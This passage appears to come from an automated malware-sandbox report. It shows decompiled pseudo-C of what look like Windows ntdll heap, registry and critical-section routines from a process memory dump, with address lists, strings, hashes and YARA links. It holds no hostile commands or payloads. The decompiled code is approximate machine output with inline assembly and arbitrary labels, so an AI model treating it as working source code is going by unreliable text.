						_push( &_v16);
						_t30 = E02D6A9B0();
						if(_t30 >= 0) {
							_t19 =  *_t26;
							if( *_t26 != 0) {
								goto L7;
							} else {
								 *_a8 =  *_a8 & 0;
							}
						} else {
							if(_t30 != 0xc0000023) {
								L9:
								_push(_t26);
								_push( *_t26);
								_push(_t31);
								_push(_v8);
								_push( &_v16);
								_t30 = E02D6A9B0();
								if(_t30 < 0) {
									L12:
									if(_t31 != 0) {
										L02D477F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t31);
									}
								} else {
									 *_a8 = _t31;
								}
							} else {
								_t19 =  *_t26;
								if( *_t26 == 0) {
									_t31 = 0;
								} else {
									L7:
									_t31 = L02D44620(_t27,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t19);
								}
								if(_t31 == 0) {
									_t30 = 0xc0000017;
								} else {
									goto L9;
								}
							}
						}
					}
				}
				return _t30;
			}

0x02d31b8f
0x02d31b9a
0x02d31b9c
0x02d31b9e
0x02d31ba3
0x02d87010
0x02d87010
0x00000000
0x02d31ba9
0x02d31ba9
0x02d31bae
0x00000000
0x02d31bc5
0x02d31bca
0x02d31bcf
0x02d31bd0
0x02d31bd1
0x02d31bd2
0x02d31bd6
0x02d31bdc
0x02d31be0
0x02d86ffc
0x02d87000
0x00000000
0x02d87006
0x02d87009
0x02d87009
0x02d31be6
0x02d31bec
0x02d31c0b
0x02d31c0b
0x02d31c0c
0x02d31c11
0x02d31c12
0x02d31c15
0x02d31c1b
0x02d31c1f
0x02d31c31
0x02d31c33
0x02d87026
0x02d87026
0x02d31c21
0x02d31c24
0x02d31c24
0x02d31bee
0x02d31bee
0x02d31bf2
0x02d31c3a
0x02d31bf4
0x02d31bf4
0x02d31c05
0x02d31c05
0x02d31c09
0x02d31c3e
0x00000000
0x00000000
0x00000000
0x02d31c09
0x02d31bec
0x02d31be0
0x02d31bae
0x02d31c2e

Strings

WindowsExcludedProcs, xrefs: 02D31BC5

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: WindowsExcludedProcs
API String ID: 0-3583428290
Opcode ID: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction ID: 0e5ba4b2620d1e8a13ace42390851277de489e68a32a3130bb94c2a8fa8cb95a
Opcode Fuzzy Hash: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction Fuzzy Hash: 5521F53650022AABDB22AA59C840F6BF7BDEF41754F254426F9489B304DB34DC01EBB0

Uniqueness

Uniqueness Score: -1.00%

Function 02DD8DF1, Relevance: 1.3, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E02DD8DF1(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t35;
				void* _t41;

				_t40 = __esi;
				_t39 = __edi;
				_t38 = __edx;
				_t35 = __ecx;
				_t34 = __ebx;
				_push(0x74);
				_push(0x2e00d50);
				E02D7D0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t41 - 0x7c)) = __edx;
				 *((intOrPtr*)(_t41 - 0x74)) = __ecx;
				if( *((intOrPtr*)( *[fs:0x30] + 2)) != 0 || ( *0x7ffe02d4 & 0 | ( *0x7ffe02d4 & 0x00000003) == 0x00000003) != 0) {
					E02DB5720(0x65, 0, "Critical error detected %lx\n", _t35);
					if( *((intOrPtr*)(_t41 + 8)) != 0) {
						 *(_t41 - 4) =  *(_t41 - 4) & 0x00000000;
						asm("int3");
						 *(_t41 - 4) = 0xfffffffe;
					}
				}
				 *(_t41 - 4) = 1;
				 *((intOrPtr*)(_t41 - 0x70)) =  *((intOrPtr*)(_t41 - 0x74));
				 *((intOrPtr*)(_t41 - 0x6c)) = 1;
				 *(_t41 - 0x68) =  *(_t41 - 0x68) & 0x00000000;
				 *((intOrPtr*)(_t41 - 0x64)) = L02D7DEF0;
				 *((intOrPtr*)(_t41 - 0x60)) = 1;
				 *((intOrPtr*)(_t41 - 0x5c)) =  *((intOrPtr*)(_t41 - 0x7c));
				_push(_t41 - 0x70);
				L02D7DEF0(1, _t38);
				 *(_t41 - 4) = 0xfffffffe;
				return E02D7D130(_t34, _t39, _t40);
			}

0x02dd8df1
0x02dd8df1
0x02dd8df1
0x02dd8df1
0x02dd8df1
0x02dd8df1
0x02dd8df3
0x02dd8df8
0x02dd8dfd
0x02dd8e00
0x02dd8e0e
0x02dd8e2a
0x02dd8e36
0x02dd8e38
0x02dd8e3c
0x02dd8e46
0x02dd8e46
0x02dd8e36
0x02dd8e50
0x02dd8e56
0x02dd8e59
0x02dd8e5c
0x02dd8e60
0x02dd8e67
0x02dd8e6d
0x02dd8e73
0x02dd8e74
0x02dd8eb1
0x02dd8ebd

Strings

Critical error detected %lx, xrefs: 02DD8E21

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Critical error detected %lx
API String ID: 0-802127002
Opcode ID: 2d194c22244c3b135ee91f73cad05fca7091d524a2180ae59cd2347d2ab28651
Instruction ID: 8252d5b013662f96541f57bb87145cf744a192a36e8d4751ab0ea9ca115e06d7
Opcode Fuzzy Hash: 2d194c22244c3b135ee91f73cad05fca7091d524a2180ae59cd2347d2ab28651
Instruction Fuzzy Hash: CB117571D04748EAEB26CFB8950579CBBB2EF04314F20425ED469AB382D3394A02DF24

Uniqueness

Uniqueness Score: -1.00%

Function 02DBFF10, Relevance: 1.3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

Strings

NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p, xrefs: 02DBFF60

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: NTDLL: Calling thread (%p) not owner of CritSect: %p Owner ThreadId: %p
API String ID: 0-1911121157
Opcode ID: 3538819321d2e602a4fcd28b154e124b8a6d26f152dc465f29952ca78c64a7e5
Instruction ID: c5351e62880163dbe0d91c549ea12a3faa3b8652bfbf4f1708c699fe7f3da17f
Opcode Fuzzy Hash: 3538819321d2e602a4fcd28b154e124b8a6d26f152dc465f29952ca78c64a7e5
Instruction Fuzzy Hash: D311AC71A50144EFDB12AF50CD49BD8B7B2FF08708F548054F50666AA1C7399D94CB60

Uniqueness

Uniqueness Score: -1.00%

Function 02DF5BA5, Relevance: .6, Instructions: 592
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E02DF5BA5(void* __ebx, signed char __ecx, signed int* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t296;
				signed char _t298;
				signed int _t301;
				signed int _t306;
				signed int _t310;
				signed char _t311;
				intOrPtr _t312;
				signed int _t313;
				void* _t327;
				signed int _t328;
				intOrPtr _t329;
				intOrPtr _t333;
				signed char _t334;
				signed int _t336;
				void* _t339;
				signed int _t340;
				signed int _t356;
				signed int _t362;
				short _t367;
				short _t368;
				short _t373;
				signed int _t380;
				void* _t382;
				short _t385;
				signed short _t392;
				signed char _t393;
				signed int _t395;
				signed char _t397;
				signed int _t398;
				signed short _t402;
				void* _t406;
				signed int _t412;
				signed char _t414;
				signed short _t416;
				signed int _t421;
				signed char _t427;
				intOrPtr _t434;
				signed char _t435;
				signed int _t436;
				signed int _t442;
				signed int _t446;
				signed int _t447;
				signed int _t451;
				signed int _t453;
				signed int _t454;
				signed int _t455;
				intOrPtr _t456;
				intOrPtr* _t457;
				short _t458;
				signed short _t462;
				signed int _t469;
				intOrPtr* _t474;
				signed int _t475;
				signed int _t479;
				signed int _t480;
				signed int _t481;
				short _t485;
				signed int _t491;
				signed int* _t494;
				signed int _t498;
				signed int _t505;
				intOrPtr _t506;
				signed short _t508;
				signed int _t511;
				void* _t517;
				signed int _t519;
				signed int _t522;
				void* _t523;
				signed int _t524;
				void* _t528;
				signed int _t529;

				_push(0xd4);
				_push(0x2e01178);
				E02D7D0E8(__ebx, __edi, __esi);
				_t494 = __edx;
				 *(_t528 - 0xcc) = __edx;
				_t511 = __ecx;
				 *((intOrPtr*)(_t528 - 0xb4)) = __ecx;
				 *(_t528 - 0xbc) = __ecx;
				 *((intOrPtr*)(_t528 - 0xc8)) =  *((intOrPtr*)(_t528 + 0x20));
				_t434 =  *((intOrPtr*)(_t528 + 0x24));
				 *((intOrPtr*)(_t528 - 0xc4)) = _t434;
				_t427 = 0;
				 *(_t528 - 0x74) = 0;
				 *(_t528 - 0x9c) = 0;
				 *(_t528 - 0x84) = 0;
				 *(_t528 - 0xac) = 0;
				 *(_t528 - 0x88) = 0;
				 *(_t528 - 0xa8) = 0;
				 *((intOrPtr*)(_t434 + 0x40)) = 0;
				if( *(_t528 + 0x1c) <= 0x80) {
					__eflags =  *(__ecx + 0xc0) & 0x00000004;
					if(__eflags != 0) {
						_t421 = E02DF4C56(0, __edx, __ecx, __eflags);
						__eflags = _t421;
						if(_t421 != 0) {
							 *((intOrPtr*)(_t528 - 4)) = 0;
							E02D6D000(0x410);
							 *(_t528 - 0x18) = _t529;
							 *(_t528 - 0x9c) = _t529;
							 *((intOrPtr*)(_t528 - 4)) = 0xfffffffe;
							E02DF5542(_t528 - 0x9c, _t528 - 0x84);
						}
					}
					_t435 = _t427;
					 *(_t528 - 0xd0) = _t435;
					_t474 = _t511 + 0x65;
					 *((intOrPtr*)(_t528 - 0x94)) = _t474;
					_t511 = 0x18;
					while(1) {
						 *(_t528 - 0xa0) = _t427;
						 *(_t528 - 0xbc) = _t427;
						 *(_t528 - 0x80) = _t427;
						 *(_t528 - 0x78) = 0x50;
						 *(_t528 - 0x79) = _t427;
						 *(_t528 - 0x7a) = _t427;
						 *(_t528 - 0x8c) = _t427;
						 *(_t528 - 0x98) = _t427;
						 *(_t528 - 0x90) = _t427;
						 *(_t528 - 0xb0) = _t427;
						 *(_t528 - 0xb8) = _t427;
						_t296 = 1 << _t435;
						_t436 =  *(_t528 + 0xc) & 0x0000ffff;
						__eflags = _t436 & _t296;
						if((_t436 & _t296) != 0) {
							goto L92;
						}
						__eflags =  *((char*)(_t474 - 1));
						if( *((char*)(_t474 - 1)) == 0) {
							goto L92;
						}
						_t301 =  *_t474;
						__eflags = _t494[1] - _t301;
						if(_t494[1] <= _t301) {
							L10:
							__eflags =  *(_t474 - 5) & 0x00000040;
							if(( *(_t474 - 5) & 0x00000040) == 0) {
								L12:
								__eflags =  *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3];
								if(( *(_t474 - 0xd) & _t494[2] |  *(_t474 - 9) & _t494[3]) == 0) {
									goto L92;
								}
								_t442 =  *(_t474 - 0x11) & _t494[3];
								__eflags = ( *(_t474 - 0x15) & _t494[2]) -  *(_t474 - 0x15);
								if(( *(_t474 - 0x15) & _t494[2]) !=  *(_t474 - 0x15)) {
									goto L92;
								}
								__eflags = _t442 -  *(_t474 - 0x11);
								if(_t442 !=  *(_t474 - 0x11)) {
									goto L92;
								}
								L15:
								_t306 =  *(_t474 + 1) & 0x000000ff;
								 *(_t528 - 0xc0) = _t306;
								 *(_t528 - 0xa4) = _t306;
								__eflags =  *0x2e160e8;
								if( *0x2e160e8 != 0) {
									__eflags = _t306 - 0x40;
									if(_t306 < 0x40) {
										L20:
										asm("lock inc dword [eax]");
										_t310 =  *0x2e160e8; // 0x0
										_t311 =  *(_t310 +  *(_t528 - 0xa4) * 8);
										__eflags = _t311 & 0x00000001;
										if((_t311 & 0x00000001) == 0) {
											 *(_t528 - 0xa0) = _t311;
											_t475 = _t427;
											 *(_t528 - 0x74) = _t427;
											__eflags = _t475;
											if(_t475 != 0) {
												L91:
												_t474 =  *((intOrPtr*)(_t528 - 0x94));
												goto L92;
											}
											asm("sbb edi, edi");
											_t498 = ( ~( *(_t528 + 0x18)) & _t511) + 0x50;
											_t511 = _t498;
											_t312 =  *((intOrPtr*)(_t528 - 0x94));
											__eflags =  *(_t312 - 5) & 1;
											if(( *(_t312 - 5) & 1) != 0) {
												_push(_t528 - 0x98);
												_push(0x4c);
												_push(_t528 - 0x70);
												_push(1);
												_push(0xfffffffa);
												_t412 = E02D69710();
												_t475 = _t427;
												__eflags = _t412;
												if(_t412 >= 0) {
													_t414 =  *(_t528 - 0x98) - 8;
													 *(_t528 - 0x98) = _t414;
													_t416 = _t414 + 0x0000000f & 0x0000fff8;
													 *(_t528 - 0x8c) = _t416;
													 *(_t528 - 0x79) = 1;
													_t511 = (_t416 & 0x0000ffff) + _t498;
													__eflags = _t511;
												}
											}
											_t446 =  *( *((intOrPtr*)(_t528 - 0x94)) - 5);
											__eflags = _t446 & 0x00000004;
											if((_t446 & 0x00000004) != 0) {
												__eflags =  *(_t528 - 0x9c);
												if( *(_t528 - 0x9c) != 0) {
													 *(_t528 - 0x7a) = 1;
													_t511 = _t511 + ( *(_t528 - 0x84) & 0x0000ffff);
													__eflags = _t511;
												}
											}
											_t313 = 2;
											_t447 = _t446 & _t313;
											__eflags = _t447;
											 *(_t528 - 0xd4) = _t447;
											if(_t447 != 0) {
												_t406 = 0x10;
												_t511 = _t511 + _t406;
												__eflags = _t511;
											}
											_t494 = ( *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) << 4) +  *((intOrPtr*)(_t528 - 0xc4));
											 *(_t528 - 0x88) = _t427;
											__eflags =  *(_t528 + 0x1c);
											if( *(_t528 + 0x1c) <= 0) {
												L45:
												__eflags =  *(_t528 - 0xb0);
												if( *(_t528 - 0xb0) != 0) {
													_t511 = _t511 + (( *(_t528 - 0x90) & 0x0000ffff) + 0x0000000f & 0xfffffff8);
													__eflags = _t511;
												}
												__eflags = _t475;
												if(_t475 != 0) {
													asm("lock dec dword [ecx+edx*8+0x4]");
													goto L100;
												} else {
													_t494[3] = _t511;
													_t451 =  *(_t528 - 0xa0);
													_t427 = E02D66DE6(_t451, _t511,  *( *[fs:0x18] + 0xf77) & 0x000000ff, _t528 - 0xe0, _t528 - 0xbc);
													 *(_t528 - 0x88) = _t427;
													__eflags = _t427;
													if(_t427 == 0) {
														__eflags = _t511 - 0xfff8;
														if(_t511 <= 0xfff8) {
															__eflags =  *((intOrPtr*)( *(_t528 - 0xa0) + 0x90)) - _t511;
															asm("sbb ecx, ecx");
															__eflags = (_t451 & 0x000000e2) + 8;
														}
														asm("lock dec dword [eax+edx*8+0x4]");
														L100:
														goto L101;
													}
													_t453 =  *(_t528 - 0xa0);
													 *_t494 = _t453;
													_t494[1] = _t427;
													_t494[2] =  *(_t528 - 0xbc);
													 *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) =  *( *((intOrPtr*)(_t528 - 0xc4)) + 0x40) + 1;
													 *_t427 =  *(_t453 + 0x24) | _t511;
													 *(_t427 + 4) =  *((intOrPtr*)(_t528 + 0x10));
													 *((short*)(_t427 + 6)) =  *((intOrPtr*)(_t528 + 8));
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x14);
													if( *(_t528 + 0x14) == 0) {
														__eflags =  *[fs:0x18] + 0xf50;
													}
													asm("movsd");
													asm("movsd");
													asm("movsd");
													asm("movsd");
													__eflags =  *(_t528 + 0x18);
													if( *(_t528 + 0x18) == 0) {
														_t454 =  *(_t528 - 0x80);
														_t479 =  *(_t528 - 0x78);
														_t327 = 1;
														__eflags = 1;
													} else {
														_t146 = _t427 + 0x50; // 0x50
														_t454 = _t146;
														 *(_t528 - 0x80) = _t454;
														_t382 = 0x18;
														 *_t454 = _t382;
														 *((short*)(_t454 + 2)) = 1;
														_t385 = 0x10;
														 *((short*)(_t454 + 6)) = _t385;
														 *(_t454 + 4) = 0;
														asm("movsd");
														asm("movsd");
														asm("movsd");
														asm("movsd");
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = 0x68;
														 *(_t528 - 0x78) = _t479;
													}
													__eflags =  *(_t528 - 0x79) - _t327;
													if( *(_t528 - 0x79) == _t327) {
														_t524 = _t479 + _t427;
														_t508 =  *(_t528 - 0x8c);
														 *_t524 = _t508;
														_t373 = 2;
														 *((short*)(_t524 + 2)) = _t373;
														 *((short*)(_t524 + 6)) =  *(_t528 - 0x98);
														 *((short*)(_t524 + 4)) = 0;
														_t167 = _t524 + 8; // 0x8
														E02D6F3E0(_t167, _t528 - 0x68,  *(_t528 - 0x98));
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + (_t508 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t380 =  *(_t528 - 0x80);
														__eflags = _t380;
														if(_t380 != 0) {
															_t173 = _t380 + 4;
															 *_t173 =  *(_t380 + 4) | 1;
															__eflags =  *_t173;
														}
														_t454 = _t524;
														 *(_t528 - 0x80) = _t454;
														_t327 = 1;
														__eflags = 1;
													}
													__eflags =  *(_t528 - 0xd4);
													if( *(_t528 - 0xd4) == 0) {
														_t505 =  *(_t528 - 0x80);
													} else {
														_t505 = _t479 + _t427;
														_t523 = 0x10;
														 *_t505 = _t523;
														_t367 = 3;
														 *((short*)(_t505 + 2)) = _t367;
														_t368 = 4;
														 *((short*)(_t505 + 6)) = _t368;
														 *(_t505 + 4) = 0;
														 *((intOrPtr*)(_t505 + 8)) =  *((intOrPtr*)( *[fs:0x30] + 0x1d4));
														_t327 = 1;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 = _t479 + _t523;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t454;
														if(_t454 != 0) {
															_t186 = _t454 + 4;
															 *_t186 =  *(_t454 + 4) | 1;
															__eflags =  *_t186;
														}
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0x7a) - _t327;
													if( *(_t528 - 0x7a) == _t327) {
														 *(_t528 - 0xd4) = _t479 + _t427;
														_t522 =  *(_t528 - 0x84) & 0x0000ffff;
														E02D6F3E0(_t479 + _t427,  *(_t528 - 0x9c), _t522);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + _t522;
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t199 = _t505 + 4;
															 *_t199 =  *(_t505 + 4) | 1;
															__eflags =  *_t199;
														}
														_t505 =  *(_t528 - 0xd4);
														 *(_t528 - 0x80) = _t505;
													}
													__eflags =  *(_t528 - 0xa8);
													if( *(_t528 - 0xa8) != 0) {
														_t356 = _t479 + _t427;
														 *(_t528 - 0xd4) = _t356;
														_t462 =  *(_t528 - 0xac);
														 *_t356 = _t462 + 0x0000000f & 0x0000fff8;
														_t485 = 0xc;
														 *((short*)(_t356 + 2)) = _t485;
														 *(_t356 + 6) = _t462;
														 *((short*)(_t356 + 4)) = 0;
														_t211 = _t356 + 8; // 0x9
														E02D6F3E0(_t211,  *(_t528 - 0xa8), _t462 & 0x0000ffff);
														E02D6FA60((_t462 & 0x0000ffff) + _t211, 0, (_t462 + 0x0000000f & 0x0000fff8) -  *(_t528 - 0xac) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0x18;
														_t427 =  *(_t528 - 0x88);
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t505 =  *(_t528 - 0xd4);
														_t479 =  *(_t528 - 0x78) + ( *_t505 & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														_t362 =  *(_t528 - 0x80);
														__eflags = _t362;
														if(_t362 != 0) {
															_t222 = _t362 + 4;
															 *_t222 =  *(_t362 + 4) | 1;
															__eflags =  *_t222;
														}
													}
													__eflags =  *(_t528 - 0xb0);
													if( *(_t528 - 0xb0) != 0) {
														 *(_t479 + _t427) =  *(_t528 - 0x90) + 0x0000000f & 0x0000fff8;
														_t458 = 0xb;
														 *((short*)(_t479 + _t427 + 2)) = _t458;
														 *((short*)(_t479 + _t427 + 6)) =  *(_t528 - 0x90);
														 *((short*)(_t427 + 4 + _t479)) = 0;
														 *(_t528 - 0xb8) = _t479 + 8 + _t427;
														E02D6FA60(( *(_t528 - 0x90) & 0x0000ffff) + _t479 + 8 + _t427, 0, ( *(_t528 - 0x90) + 0x0000000f & 0x0000fff8) -  *(_t528 - 0x90) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + ( *( *(_t528 - 0x78) + _t427) & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t241 = _t505 + 4;
															 *_t241 =  *(_t505 + 4) | 1;
															__eflags =  *_t241;
														}
													}
													_t328 =  *(_t528 + 0x1c);
													__eflags = _t328;
													if(_t328 == 0) {
														L87:
														_t329 =  *((intOrPtr*)(_t528 - 0xe0));
														 *((intOrPtr*)(_t427 + 0x10)) = _t329;
														_t455 =  *(_t528 - 0xdc);
														 *(_t427 + 0x14) = _t455;
														_t480 =  *(_t528 - 0xa0);
														_t517 = 3;
														__eflags =  *((intOrPtr*)(_t480 + 0x10)) - _t517;
														if( *((intOrPtr*)(_t480 + 0x10)) != _t517) {
															asm("rdtsc");
															 *(_t427 + 0x3c) = _t480;
														} else {
															 *(_t427 + 0x3c) = _t455;
														}
														 *((intOrPtr*)(_t427 + 0x38)) = _t329;
														_t456 =  *[fs:0x18];
														 *((intOrPtr*)(_t427 + 8)) =  *((intOrPtr*)(_t456 + 0x24));
														 *((intOrPtr*)(_t427 + 0xc)) =  *((intOrPtr*)(_t456 + 0x20));
														_t427 = 0;
														__eflags = 0;
														_t511 = 0x18;
														goto L91;
													} else {
														_t519 =  *((intOrPtr*)(_t528 - 0xc8)) + 0xc;
														__eflags = _t519;
														 *(_t528 - 0x8c) = _t328;
														do {
															_t506 =  *((intOrPtr*)(_t519 - 4));
															_t457 =  *((intOrPtr*)(_t519 - 0xc));
															 *(_t528 - 0xd4) =  *(_t519 - 8);
															_t333 =  *((intOrPtr*)(_t528 - 0xb4));
															__eflags =  *(_t333 + 0x36) & 0x00004000;
															if(( *(_t333 + 0x36) & 0x00004000) != 0) {
																_t334 =  *_t519;
															} else {
																_t334 = 0;
															}
															_t336 = _t334 & 0x000000ff;
															__eflags = _t336;
															_t427 =  *(_t528 - 0x88);
															if(_t336 == 0) {
																_t481 = _t479 + _t506;
																__eflags = _t481;
																 *(_t528 - 0x78) = _t481;
																E02D6F3E0(_t479 + _t427, _t457, _t506);
																_t529 = _t529 + 0xc;
															} else {
																_t340 = _t336 - 1;
																__eflags = _t340;
																if(_t340 == 0) {
																	E02D6F3E0( *(_t528 - 0xb8), _t457, _t506);
																	_t529 = _t529 + 0xc;
																	 *(_t528 - 0xb8) =  *(_t528 - 0xb8) + _t506;
																} else {
																	__eflags = _t340 == 0;
																	if(_t340 == 0) {
																		__eflags = _t506 - 8;
																		if(_t506 == 8) {
																			 *((intOrPtr*)(_t528 - 0xe0)) =  *_t457;
																			 *(_t528 - 0xdc) =  *(_t457 + 4);
																		}
																	}
																}
															}
															_t339 = 0x10;
															_t519 = _t519 + _t339;
															_t263 = _t528 - 0x8c;
															 *_t263 =  *(_t528 - 0x8c) - 1;
															__eflags =  *_t263;
															_t479 =  *(_t528 - 0x78);
														} while ( *_t263 != 0);
														goto L87;
													}
												}
											} else {
												_t392 =  *( *((intOrPtr*)(_t528 - 0xb4)) + 0x36) & 0x00004000;
												 *(_t528 - 0xa2) = _t392;
												_t469 =  *((intOrPtr*)(_t528 - 0xc8)) + 8;
												__eflags = _t469;
												while(1) {
													 *(_t528 - 0xe4) = _t511;
													__eflags = _t392;
													_t393 = _t427;
													if(_t392 != 0) {
														_t393 =  *((intOrPtr*)(_t469 + 4));
													}
													_t395 = (_t393 & 0x000000ff) - _t427;
													__eflags = _t395;
													if(_t395 == 0) {
														_t511 = _t511 +  *_t469;
														__eflags = _t511;
													} else {
														_t398 = _t395 - 1;
														__eflags = _t398;
														if(_t398 == 0) {
															 *(_t528 - 0x90) =  *(_t528 - 0x90) +  *_t469;
															 *(_t528 - 0xb0) =  *(_t528 - 0xb0) + 1;
														} else {
															__eflags = _t398 == 1;
															if(_t398 == 1) {
																 *(_t528 - 0xa8) =  *(_t469 - 8);
																_t402 =  *_t469 & 0x0000ffff;
																 *(_t528 - 0xac) = _t402;
																_t511 = _t511 + ((_t402 & 0x0000ffff) + 0x0000000f & 0xfffffff8);
															}
														}
													}
													__eflags = _t511 -  *(_t528 - 0xe4);
													if(_t511 <  *(_t528 - 0xe4)) {
														break;
													}
													_t397 =  *(_t528 - 0x88) + 1;
													 *(_t528 - 0x88) = _t397;
													_t469 = _t469 + 0x10;
													__eflags = _t397 -  *(_t528 + 0x1c);
													_t392 =  *(_t528 - 0xa2);
													if(_t397 <  *(_t528 + 0x1c)) {
														continue;
													}
													goto L45;
												}
												_t475 = 0x216;
												 *(_t528 - 0x74) = 0x216;
												goto L45;
											}
										} else {
											asm("lock dec dword [eax+ecx*8+0x4]");
											goto L16;
										}
									}
									_t491 = E02DF4CAB(_t306, _t528 - 0xa4);
									 *(_t528 - 0x74) = _t491;
									__eflags = _t491;
									if(_t491 != 0) {
										goto L91;
									} else {
										_t474 =  *((intOrPtr*)(_t528 - 0x94));
										goto L20;
									}
								}
								L16:
								 *(_t528 - 0x74) = 0x1069;
								L93:
								_t298 =  *(_t528 - 0xd0) + 1;
								 *(_t528 - 0xd0) = _t298;
								_t474 = _t474 + _t511;
								 *((intOrPtr*)(_t528 - 0x94)) = _t474;
								_t494 = 4;
								__eflags = _t298 - _t494;
								if(_t298 >= _t494) {
									goto L100;
								}
								_t494 =  *(_t528 - 0xcc);
								_t435 = _t298;
								continue;
							}
							__eflags = _t494[2] | _t494[3];
							if((_t494[2] | _t494[3]) == 0) {
								goto L15;
							}
							goto L12;
						}
						__eflags = _t301;
						if(_t301 != 0) {
							goto L92;
						}
						goto L10;
						L92:
						goto L93;
					}
				} else {
					_push(0x57);
					L101:
					return E02D7D130(_t427, _t494, _t511);
				}
			}

0x02df5ba5
0x02df5baa
0x02df5baf
0x02df5bb4
0x02df5bb6
0x02df5bbc
0x02df5bbe
0x02df5bc4
0x02df5bcd
0x02df5bd3
0x02df5bd6
0x02df5bdc
0x02df5be0
0x02df5be3
0x02df5beb
0x02df5bf2
0x02df5bf8
0x02df5bfe
0x02df5c04
0x02df5c0e
0x02df5c18
0x02df5c1f
0x02df5c25
0x02df5c2a
0x02df5c2c
0x02df5c32
0x02df5c3a
0x02df5c3f
0x02df5c42
0x02df5c48
0x02df5c5b
0x02df5c5b
0x02df5c2c
0x02df5cb7
0x02df5cb9
0x02df5cbf
0x02df5cc2
0x02df5cca
0x02df5ccb
0x02df5ccb
0x02df5cd1
0x02df5cd7
0x02df5cda
0x02df5ce1
0x02df5ce4
0x02df5ce7
0x02df5ced
0x02df5cf3
0x02df5cf9
0x02df5cff
0x02df5d08
0x02df5d0a
0x02df5d0e
0x02df5d10
0x00000000
0x00000000
0x02df5d16
0x02df5d1a
0x00000000
0x00000000
0x02df5d20
0x02df5d22
0x02df5d25
0x02df5d2f
0x02df5d2f
0x02df5d33
0x02df5d3d
0x02df5d49
0x02df5d4b
0x00000000
0x00000000
0x02df5d5a
0x02df5d5d
0x02df5d60
0x00000000
0x00000000
0x02df5d66
0x02df5d69
0x00000000
0x00000000
0x02df5d6f
0x02df5d6f
0x02df5d73
0x02df5d79
0x02df5d7f
0x02df5d86
0x02df5d95
0x02df5d98
0x02df5dba
0x02df5dcb
0x02df5dce
0x02df5dd3
0x02df5dd6
0x02df5dd8
0x02df5de6
0x02df5dec
0x02df5dee
0x02df5df1
0x02df5df3
0x02df635a
0x02df635a
0x00000000
0x02df635a
0x02df5dfe
0x02df5e02
0x02df5e05
0x02df5e07
0x02df5e10
0x02df5e13
0x02df5e1b
0x02df5e1c
0x02df5e21
0x02df5e22
0x02df5e23
0x02df5e25
0x02df5e2a
0x02df5e2c
0x02df5e2e
0x02df5e36
0x02df5e39
0x02df5e42
0x02df5e47
0x02df5e4d
0x02df5e54
0x02df5e54
0x02df5e54
0x02df5e2e
0x02df5e5c
0x02df5e5f
0x02df5e62
0x02df5e64
0x02df5e6b
0x02df5e70
0x02df5e7a
0x02df5e7a
0x02df5e7a
0x02df5e6b
0x02df5e7e
0x02df5e7f
0x02df5e7f
0x02df5e81
0x02df5e87
0x02df5e8b
0x02df5e8c
0x02df5e8c
0x02df5e8c
0x02df5e9a
0x02df5e9c
0x02df5ea2
0x02df5ea6
0x02df5f50
0x02df5f50
0x02df5f57
0x02df5f66
0x02df5f66
0x02df5f66
0x02df5f68
0x02df5f6a
0x02df63d0
0x00000000
0x02df5f70
0x02df5f70
0x02df5f91
0x02df5f9c
0x02df5f9e
0x02df5fa4
0x02df5fa6
0x02df638c
0x02df6392
0x02df63a1
0x02df63a7
0x02df63af
0x02df63af
0x02df63bd
0x02df63d8
0x00000000
0x02df63d8
0x02df5fac
0x02df5fb2
0x02df5fb4
0x02df5fbd
0x02df5fc6
